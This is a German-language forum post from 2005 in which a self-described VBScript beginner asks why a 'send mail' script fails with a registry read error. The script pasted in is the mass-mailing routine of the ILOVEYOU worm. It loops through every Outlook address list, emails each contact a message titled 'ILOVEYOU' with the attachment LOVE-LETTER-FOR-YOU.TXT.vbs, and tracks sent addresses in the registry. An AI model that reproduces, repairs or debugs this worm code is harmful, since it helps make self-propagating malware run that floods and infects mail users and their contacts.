000
08.12.2005, 18:11 Uhr
~emailuser
Gast
|
hallo!
Ich bin noch sehr neu in der vb/vbs Programmierung. :O
Jedoch bat mich mein Firmenchef ein Programm zu schreiben, dass eine Mail versenden kann, dieses Programm muss aus Kompaktibilitätsproblemen leider in vbs geschrieben werden. Darum googelte ich mal im Internet um Infos zu bekommen. Ich habe folgenden Code gefunden:
| Visual Basic: |
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
|
Wenn ich den Code ausführe bekomme ich aber folgenden Fehler:
Zeile: 8
Zeichen: 1
Fehler: Registrierungschlüssel "HKEY_CURRENT_USER....." wurde nicht zum Lesen geöffnet.
Code: 80070002
Quelle: WshShell.RegRead
Was kann ich dagegen tun?
Wo liegt der Fehler? |
